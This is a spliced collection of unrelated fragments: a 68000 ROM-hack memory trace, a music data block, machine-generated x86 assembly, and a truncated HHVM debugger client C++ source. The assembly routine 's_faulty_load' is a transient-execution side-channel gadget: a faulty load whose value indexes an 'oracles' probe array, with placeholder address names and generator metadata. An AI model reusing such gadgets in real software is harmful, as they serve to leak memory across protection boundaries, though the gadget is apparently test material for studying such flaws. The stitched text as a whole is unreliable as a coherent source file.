032CB8 addi.w #$400, D0 [123p+ 8]
032CD6 move.w D3, ($88,A6) [123p+ 8]
032CEA move.w D3, ($88,A6) [123p+ 8]
032DA6 move.w ($8,A0), D1 [enemy+76]
032DAA move.w ($10,A0), ($8a,A6) [123p+ 8]
032DBC move.w ($8,A0), D0 [enemy+88]
032DC0 addi.w #$400, D0 [123p+ 8]
032DDE move.w D3, ($88,A6) [123p+ 8]
033BD0 add.w D2, D1 [123p+ 8]
034656 sub.w ($8,A6), D0 [123p+ 8]
035196 sub.w ($8,A0), D0 [enemy+ 8]
03519A addi.w #$400, D0 [123p+ 8]
0351F6 add.w ($10,A0), D2 [123p+ 8]
035238 sub.w ($8,A6), D0 [123p+ 8]
03527E add.w ($10,A0), D2 [123p+ 8]
0352C8 add.w ($10,A0), D2 [123p+ 8]
0352E4 sub.w ($8,A6), D0 [123p+ 8]
03531A sub.w ($8,A0), D0 [enemy+ 8]
03531E addi.w #$400, D0 [123p+ 8]
03548A move.w ($8,A0), D1 [enemy+76]
03548E move.w ($10,A0), D2 [123p+ 8]
03551C sub.w ($8,A0), D0 [enemy+ 8]
035520 addi.w #$400, D0 [123p+ 8]
03552C add.w D3, D1 [123p+ 8]
035592 sub.w ($8,A6), D1 [123p+ 8]
0355D0 sub.w ($8,A6), D0 [123p+ 8]
03561E sub.w ($8,A6), D0 [123p+ 8]
035660 move.w ($8,A0), D1 [enemy+76]
035664 move.w ($10,A0), D2 [123p+ 8]
0356B2 move.w ($8,A0), D0 [enemy+76]
0356B6 sub.w ($8,A6), D0 [123p+ 8]
035724 sub.w ($8,A6), D0 [123p+ 8]
035730 sub.w ($8,A6), D1 [123p+ 8]
03BA56 add.w D2, D1 [123p+ 8]
03CB8A sub.w ($8,A0), D0 [enemy+ 8]
03CB8E addi.w #$400, D0 [123p+ 8]
03CBA4 move.w ($8,A6), D1 [123p+ 8]
03CBDA add.w ($10,A0), D2 [123p+ 8]
03CBF0 sub.w ($8,A6), D0 [123p+ 8]
03CCA8 add.w ($10,A0), D2 [123p+ 8]
03CCDC move.w ($8,A0), D1 [enemy+76]
03CCE0 move.w ($10,A0), D2 [123p+ 8]
03CD00 sub.w ($8,A6), D0 [123p+ 8]
03CD4A add.w D0, D1 [123p+ 8]
03CDA2 add.w D0, D1 [123p+ 8]
03CDC0 move.w ($8,A0), D1 [enemy+76]
03CDC4 move.w ($10,A0), D2 [123p+ 8]
03CDE6 addi.w #$400, D1 [123p+ 8]
03CF16 sub.w ($8,A0), D0 [enemy+ 8]
03CF1A addi.w #$400, D0 [123p+ 8]
03D038 sub.w ($8,A0), D0 [enemy+ 8]
03D03C addi.w #$400, D0 [123p+ 8]
03D082 sub.w ($8,A0), D0 [enemy+ 8]
03D086 addi.w #$400, D0 [123p+ 8]
03E44A move.w ($8,A0), D0 [enemy+76]
03E44E addi.w #$40, D0 [123p+ 8]
03E9DA cmp.w ($8,A6), D0 [123p+ 8]
03E9E8 add.w D1, D0 [123p+ 8]
03F0B6 move.w ($8,A0), D0 [enemy+76]
03F0BA addi.w #$10, D0 [123p+ 8]
03F100 move.w ($8,A0), D0 [enemy+76]
03F104 addi.w #$30, D0 [123p+ 8]
040F0C addi.w #$400, D0 [123p+ 8]
040F24 add.w D1, D0 [123p+ 8]
04233A move.w ($c,A6), D0 [123p+ 8]
0429D6 sub.w ($8,A6), D0 [123p+ 8]
042D9E sub.w ($8,A0), D0 [enemy+ 8]
042DA2 bcc $42da6 [123p+ 8]
042EA2 sub.w ($8,A0), D0 [enemy+ 8]
042EA6 bcc $42eaa [123p+ 8]
044922 sub.w ($8,A6), D0 [123p+ 8]
044BD8 sub.w ($8,A0), D0 [enemy+ 8]
044BDC bcc $44be0 [123p+ 8]
044BE4 move.w ($10,A0), D2 [123p+ 8]
044CD6 sub.w ($8,A0), D0 [enemy+ 8]
044CDA bcc $44cde [123p+ 8]
044E24 sub.w ($8,A6), D1 [123p+ 8]
044E90 addi.w #$18, D1 [123p+ 8]
046A8C sub.w ($8,A0), D0 [enemy+ 8]
046A90 blt $46a94 [123p+ 8]
046AD0 add.w ($10,A0), D2 [123p+ 8]
046AE6 sub.w ($8,A6), D0 [123p+ 8]
046BB4 add.w ($10,A0), D2 [123p+ 8]
046BEC sub.w ($8,A0), D0 [enemy+ 8]
046BF0 bcc $46bf4 [123p+ 8]
046BF8 add.w D1, D0 [123p+ 8]
046D0A sub.w ($8,A0), D0 [enemy+ 8]
046D0E bcc $46d12 [123p+ 8]
046DF0 sub.w ($8,A6), D0 [123p+ 8]
046DFC add.w ($10,A0), D2 [123p+ 8]
046E12 sub.w ($8,A6), D0 [123p+ 8]
046E86 sub.w ($8,A0), D0 [enemy+ 8]
046E8A bcs $46e8e [123p+ 8]
0471AA sub.w ($8,A6), D1 [123p+ 8]
049170 move.w ($8,A0), D0 [enemy+76]
049174 sub.w ($8,A6), D0 [123p+ 8]
049314 sub.w ($8,A0), D0 [enemy+ 8]
049318 addi.w #$17, D0 [123p+ 8]
04F22C move.w ($8,A0), D0 [enemy+76]
04F230 sub.w ($8,A6), D0 [123p+ 8]
04F3FC cmp.w ($8,A6), D0 [123p+ 8]
05F338 sub.w ($8,A6), D0 [123p+ 8]
05FFEE sub.w ($8,A6), D0 [123p+ 8]
08451A move.w ($8,A2), D1
08451E lea ($33f4,A5), A2 [123p+ 8]
08C620 move.w D1, ($3280,A5) [123p+ 8]
09301E move.w D0, ($8,A6) [123p+ 8, enemy+ 8]
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
dw $0040
track_0F_08:
db $FF, $18, $97, $DE, $63, $FE, $1A, $7E, $E6, $34
db $ED, $FC, $70, $30, $FD, $96, $87, $CA, $D4, $B4
db $B6, $38, $D5, $A9, $69, $6C, $71, $AB, $52, $FF
db $DE, $8E, $9C, $4B, $EE, $AA, $3E, $EF, $D2, $F3
db $FA, $8F, $68, $C4, $BA, $CE, $1D, $34, $8F, $D8
db $E8, $7C, $9C, $4B, $47, $23, $8D, $38, $96, $8E
db $47, $1A, $71, $2F, $57, $78, $69, $E3, $DD, $DD
db $EA, $78, $D7, $77, $03, $0F, $D8, $67, $C8, $C4
db $B4, $32, $38, $D1, $89, $68, $64, $71, $A3, $12
db $FF, $DE, $8E, $9C, $4B, $EE, $AA, $3E, $EF, $D2
db $F3, $FA, $8F, $68, $C4, $BA, $CE, $1D, $34, $8F
db $F1, $87, $DE, $63, $FE, $1A, $7E, $E6, $34, $ED
db $FC, $70, $30, $00 |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1bd61, %rsi
nop
nop
nop
and %r14, %r14
mov $0x6162636465666768, %r13
movq %r13, %xmm0
movups %xmm0, (%rsi)
nop
nop
nop
nop
and $44002, %r8
lea addresses_WC_ht+0x14861, %r15
nop
nop
nop
nop
xor $28805, %r11
movups (%r15), %xmm6
vpextrq $1, %xmm6, %r14
nop
nop
nop
sub %r14, %r14
lea addresses_WT_ht+0x3776, %rsi
lea addresses_normal_ht+0x1a161, %rdi
nop
sub %r15, %r15
mov $48, %rcx
rep movsb
nop
add $49610, %r8
lea addresses_D_ht+0x5361, %rsi
lea addresses_WT_ht+0x1945c, %rdi
nop
nop
nop
inc %r13
mov $51, %rcx
rep movsb
nop
nop
nop
nop
add %r15, %r15
lea addresses_UC_ht+0x7b61, %rsi
nop
and %r13, %r13
and $0xffffffffffffffc0, %rsi
vmovntdqa (%rsi), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rcx
nop
nop
nop
inc %rdi
lea addresses_WC_ht+0x2361, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $42200, %r13
movb $0x61, (%rdi)
nop
nop
xor $57157, %r13
lea addresses_UC_ht+0x8b61, %rsi
lea addresses_WT_ht+0x1db61, %rdi
nop
add $30301, %r8
mov $16, %rcx
rep movsl
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_normal_ht+0x15ff, %rsi
lea addresses_A_ht+0x1c101, %rdi
nop
nop
sub %r14, %r14
mov $126, %rcx
rep movsl
nop
nop
nop
sub $58215, %r14
lea addresses_WT_ht+0xe7e1, %rsi
nop
xor %r13, %r13
mov $0x6162636465666768, %r11
movq %r11, %xmm1
and $0xffffffffffffffc0, %rsi
movaps %xmm1, (%rsi)
nop
and $38333, %rdi
lea addresses_normal_ht+0x1ce11, %rcx
nop
nop
and $27317, %rdi
and $0xffffffffffffffc0, %rcx
vmovntdqa (%rcx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r15
nop
nop
cmp $1020, %rcx
lea addresses_WC_ht+0xe5de, %r8
nop
nop
nop
sub %rsi, %rsi
movb (%r8), %r13b
nop
nop
nop
xor %r11, %r11
lea addresses_UC_ht+0xd961, %r11
nop
nop
nop
sub $55731, %rcx
mov $0x6162636465666768, %r13
movq %r13, (%r11)
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0xc171, %r13
add $45845, %rdi
movb $0x61, (%r13)
nop
nop
nop
cmp $50531, %r14
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x3861, %r9
nop
nop
nop
nop
nop
sub $49625, %r13
mov $0x5152535455565758, %r12
movq %r12, %xmm7
movups %xmm7, (%r9)
nop
xor %r9, %r9
// Store
lea addresses_A+0x72a2, %rsi
nop
nop
nop
nop
nop
and $16211, %r12
mov $0x5152535455565758, %rdi
movq %rdi, (%rsi)
nop
nop
nop
nop
xor $65285, %r9
// Faulty Load
mov $0xfd37c0000000361, %rsi
inc %rdx
mov (%rsi), %r9d
lea oracles, %rdi
and $0xff, %r9
shlq $12, %r9
mov (%rdi,%r9,1), %r9
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
/*
+----------------------------------------------------------------------+
| HipHop for PHP |
+----------------------------------------------------------------------+
| Copyright (c) 2010-present Facebook, Inc. (http://www.facebook.com) |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
*/
#include "hphp/runtime/debugger/debugger_client.h"
#include <signal.h>
#include <fstream>
#include "hphp/runtime/base/array-init.h"
#include "hphp/runtime/base/builtin-functions.h"
#include "hphp/runtime/base/config.h"
#include "hphp/runtime/base/preg.h"
#include "hphp/runtime/base/program-functions.h"
#include "hphp/runtime/base/string-util.h"
#include "hphp/runtime/base/variable-serializer.h"
#include "hphp/runtime/debugger/cmd/all.h"
#include "hphp/runtime/debugger/debugger_command.h"
#include "hphp/runtime/ext/sockets/ext_sockets.h"
#include "hphp/runtime/ext/std/ext_std_network.h"
#include "hphp/runtime/ext/string/ext_string.h"
#include "hphp/util/logger.h"
#include "hphp/util/process-exec.h"
#include "hphp/util/process.h"
#include "hphp/util/stack-trace.h"
#include "hphp/util/string-vsnprintf.h"
#include "hphp/util/text-art.h"
#include "hphp/util/text-color.h"
#include <boost/scoped_ptr.hpp>
#include <folly/Conv.h>
#include <folly/portability/Unistd.h>
#define USE_VARARGS
#define PREFER_STDARG
#ifdef USE_EDITLINE
#include <editline/readline.h>
#include <histedit.h>
#else
#include <readline/readline.h>
#include <readline/history.h>
#include <algorithm>
#include <map>
#include <memory>
#include <set>
#include <vector>
#endif
using namespace HPHP::TextArt;
#define PHP_WORD_BREAK_CHARACTERS " \t\n\"\\'`@=;,|{[()]}+*%^!~&"
namespace HPHP { namespace Eval {
///////////////////////////////////////////////////////////////////////////////
TRACE_SET_MOD(debugger);
static boost::scoped_ptr<DebuggerClient> debugger_client;
const StaticString
s_name("name"),
s_cmds("cmds"),
s_hhvm_never_save_config("hhvm.never_save_config");
static String wordwrap(const String& str, int width /* = 75 */,
const String& wordbreak /* = "\n" */,
bool cut /* = false */) {
Array args = Array::Create();
args.append(str);
args.append(width);
args.append(wordbreak);
args.append(cut);
return vm_call_user_func("wordwrap", args).toString();
}
struct DebuggerExtension final : Extension {
DebuggerExtension() : Extension("hhvm.debugger", NO_EXTENSION_VERSION_YET) {}
} s_debugger_extension;
static DebuggerClient& getStaticDebuggerClient() {
TRACE(2, "DebuggerClient::getStaticDebuggerClient\n");
/*
* DebuggerClient acquires global mutexes in its constructor, so we
* allocate debugger_client lazily to ensure that all of the
* global mutexes have been initialized before we enter the
* constructor.
*
* This initialization is thread-safe because program-functions.cpp
* must call Debugger::StartClient (which ends up here) before any
* additional threads are created.
*/
if (!debugger_client) {
debugger_client.reset(new DebuggerClient);
}
return *debugger_client;
}
///////////////////////////////////////////////////////////////////////////////
// readline setups
static char* debugger_generator(const char* text, int state) {
TRACE(2, "DebuggerClient::debugger_generator\n");
return getStaticDebuggerClient().getCompletion(text, state);
}
static char **debugger_completion(const char *text, int start, int end) {
TRACE(2, "DebuggerClient::debugger_completion\n");
if (getStaticDebuggerClient().setCompletion(text, start, end)) {
return rl_completion_matches((char*)text, &debugger_generator);
}
return nullptr;
}
#ifndef USE_EDITLINE
static rl_hook_func_t *old_rl_startup_hook = nullptr;
static int saved_history_line_to_use = -1;
static int last_saved_history_line = -1;
static bool history_full() {
return (history_is_stifled() && history_length >= history_max_entries);
}
static int set_saved_history() {
if (history_full() && saved_history_line_to_use < history_length - 1) {
saved_history_line_to_use++;
}
if (saved_history_line_to_use >= 0) {
rl_get_previous_history(history_length - saved_history_line_to_use, 0);
last_saved_history_line = saved_history_line_to_use;
}
saved_history_line_to_use = -1;
rl_startup_hook = old_rl_startup_hook;
return 0;
}
static int operate_and_get_next(int /*count*/, int c) {
/* Accept the current line. */
rl_newline (1, c);
/* Find the current line, and find the next line to use. */
int where = where_history();
if (history_full() || (where >= history_length - 1)) {
saved_history_line_to_use = where;
} else {
saved_history_line_to_use = where + 1;
}
old_rl_startup_hook = rl_startup_hook;
rl_startup_hook = set_saved_history;
return 0;
}
#endif
static void debugger_signal_handler(int sig) {
TRACE(2, "DebuggerClient::debugger_signal_handler\n");
getStaticDebuggerClient().onSignal(sig);
}
void DebuggerClient::onSignal(int /*sig*/) {
TRACE(2, "DebuggerClient::onSignal\n");
if (m_inputState == TakingInterrupt) {
if (m_sigCount == 0) {
usageLogEvent("signal start");
info("Pausing program execution, please wait...");
} else if (m_sigCount == 1) {
usageLogEvent("signal wait");
help("Still attempting to pause program execution...");
help(" Sometimes this takes a few seconds, so give it a chance,");
help(" or press ctrl-c again to give up and terminate the debugger.");
} else {
usageLogEvent("signal quit");
error("Debugger is quitting.");
if (!getStaticDebuggerClient().isLocal()) {
error(" Note: the program may still be running on the server.");
}
quit(); // NB: the machine is running, so can't send a real CmdQuit.
return;
}
m_sigCount++;
m_sigNum = CmdSignal::SignalBreak;
} else {
rl_line_buffer[0] = '\0';
#ifndef USE_EDITLINE
rl_free_line_state();
rl_cleanup_after_signal();
#endif
rl_redisplay();
}
}
int DebuggerClient::pollSignal() {
TRACE(2, "DebuggerClient::pollSignal\n");
if (m_scriptMode) {
print(".....Debugger client still waiting for server response.....");
}
int ret = m_sigNum;
m_sigNum = CmdSignal::SignalNone;
return ret;
}
///////////////////////////////////////////////////////////////////////////////
/**
* Initialization and shutdown.
*/
struct ReadlineApp {
ReadlineApp() {
TRACE(2, "ReadlineApp::ReadlineApp\n");
DebuggerClient::AdjustScreenMetrics();
rl_attempted_completion_function = debugger_completion;
rl_basic_word_break_characters = PHP_WORD_BREAK_CHARACTERS;
#ifndef USE_EDITLINE
rl_bind_keyseq("\\C-o", operate_and_get_next);
rl_catch_signals = 0;
#endif
signal(SIGINT, debugger_signal_handler);
TRACE(3, "ReadlineApp::ReadlineApp, about to call read_history\n");
read_history((Process::GetHomeDirectory() +
DebuggerClient::HistoryFileName).c_str());
TRACE(3, "ReadlineApp::ReadlineApp, done calling read_history\n");
}
~ReadlineApp() {
TRACE(2, "ReadlineApp::~ReadlineApp\n");
write_history((Process::GetHomeDirectory() +
DebuggerClient::HistoryFileName).c_str());
}
};
/**
* Displaying a spinning wait icon.
*/
struct ReadlineWaitCursor {
ReadlineWaitCursor()
: m_thread(this, &ReadlineWaitCursor::animate), m_waiting(true) {
TRACE(2, "ReadlineWaitCursor::ReadlineWaitCursor\n");
m_thread.start();
}
~ReadlineWaitCursor() {
TRACE(2, "ReadlineWaitCursor::~ReadlineWaitCursor\n");
m_waiting = false;
m_thread.waitForEnd();
}
void animate() {
if (rl_point <= 0) return;
auto p = rl_point - 1;
auto orig = rl_line_buffer[p];
while (m_waiting) {
frame('|', p); frame('/', p); frame('-', p); frame('\\', p);
rl_line_buffer[p] = orig;
rl_redisplay();
}
}
private:
AsyncFunc<ReadlineWaitCursor> m_thread;
bool m_waiting;
void frame(char ch, int point) {
rl_line_buffer[point] = ch;
rl_redisplay();
usleep(100000);
}
};
///////////////////////////////////////////////////////////////////////////////
int DebuggerClient::LineWidth = 76;
int DebuggerClient::CodeBlockSize = 20;
int DebuggerClient::ScrollBlockSize = 20;
const char *DebuggerClient::LineNoFormat = "%4d ";
const char *DebuggerClient::LineNoFormatWithStar = "%4d*";
const char *DebuggerClient::LocalPrompt = "hphpd";
const char *DebuggerClient::ConfigFileName = ".hphpd.ini";
const char *DebuggerClient::LegacyConfigFileName = ".hphpd.hdf";
const char *DebuggerClient::HistoryFileName = ".hphpd.history";
std::string DebuggerClient::HomePrefix = "/home";
bool DebuggerClient::UseColor = true;
bool DebuggerClient::NoPrompt = false;
const char *DebuggerClient::HelpColor = nullptr;
const char *DebuggerClient::InfoColor = nullptr;
const char *DebuggerClient::OutputColor = nullptr;
const char *DebuggerClient::ErrorColor = nullptr;
const char *DebuggerClient::ItemNameColor = nullptr;
const char *DebuggerClient::HighlightForeColor = nullptr;
const char *DebuggerClient::HighlightBgColor = nullptr;
const char *DebuggerClient::DefaultCodeColors[] = {
/* None */ nullptr, nullptr,
/* Keyword */ nullptr, nullptr,
/* Comment */ nullptr, nullptr,
/* String */ nullptr, nullptr,
/* Variable */ nullptr, nullptr,
/* Html */ nullptr, nullptr,
/* Tag */ nullptr, nullptr,
/* Declaration */ nullptr, nullptr,
/* Constant */ nullptr, nullptr,
/* LineNo */ nullptr, nullptr,
};
void DebuggerClient::LoadColors(const IniSetting::Map& ini, Hdf hdf) {
TRACE(2, "DebuggerClient::LoadColors\n");
HelpColor = LoadColor(ini, hdf, "Color.Help", "BROWN");
InfoColor = LoadColor(ini, hdf, "Color.Info", "GREEN");
OutputColor = LoadColor(ini, hdf, "Color.Output", "CYAN");
ErrorColor = LoadColor(ini, hdf, "Color.Error", "RED");
ItemNameColor = LoadColor(ini, hdf, "Color.ItemName", "GRAY");
HighlightForeColor = LoadColor(ini, hdf, "Color.HighlightForeground", "RED");
HighlightBgColor = LoadBgColor(ini, hdf, "Color.HighlightBackground", "GRAY");
Hdf code = hdf["Code"];
LoadCodeColor(CodeColorKeyword, ini, hdf, "Color.Code.Keyword",
"CYAN");
LoadCodeColor(CodeColorComment, ini, hdf, "Color.Code.Comment",
"RED");
LoadCodeColor(CodeColorString, ini, hdf, "Color.Code.String",
"GREEN");
LoadCodeColor(CodeColorVariable, ini, hdf, "Color.Code.Variable",
"BROWN");
LoadCodeColor(CodeColorHtml, ini, hdf, "Color.Code.Html",
"GRAY");
LoadCodeColor(CodeColorTag, ini, hdf, "Color.Code.Tag",
"MAGENTA");
LoadCodeColor(CodeColorDeclaration, ini, hdf, "Color.Code.Declaration",
"BLUE");
LoadCodeColor(CodeColorConstant, ini, hdf, "Color.Code.Constant",
"MAGENTA");
LoadCodeColor(CodeColorLineNo, ini, hdf, "Color.Code.LineNo",
"GRAY");
}
const char *DebuggerClient::LoadColor(const IniSetting::Map& ini, Hdf hdf,
const std::string& setting,
const char *defaultName) {
TRACE(2, "DebuggerClient::LoadColor\n");
const char *name = Config::Get(ini, hdf, setting, defaultName);
hdf = name; // for starter
const char *color = get_color_by_name(name);
if (color == nullptr) {
Logger::Error("Bad color name %s", name);
color = get_color_by_name(defaultName);
}
return color;
}
const char *DebuggerClient::LoadBgColor(const IniSetting::Map& ini, Hdf hdf,
const std::string& setting,
const char *defaultName) {
TRACE(2, "DebuggerClient::LoadBgColor\n");
const char *name = Config::Get(ini, hdf, setting, defaultName);
hdf = name; // for starter
const char *color = get_bgcolor_by_name(name);
if (color == nullptr) {
Logger::Error("Bad color name %s", name);
color = get_bgcolor_by_name(defaultName);
}
return color;
}
void DebuggerClient::LoadCodeColor(CodeColor index, const IniSetting::Map& ini,
Hdf hdf, const std::string& setting,
const char *defaultName) {
TRACE(2, "DebuggerClient::LoadCodeColor\n");
const char *color = LoadColor(ini, hdf, setting, defaultName);
DefaultCodeColors[index * 2] = color;
DefaultCodeColors[index * 2 + 1] = color ? ANSI_COLOR_END : nullptr;
}
req::ptr<Socket> DebuggerClient::Start(const DebuggerClientOptions &options) {
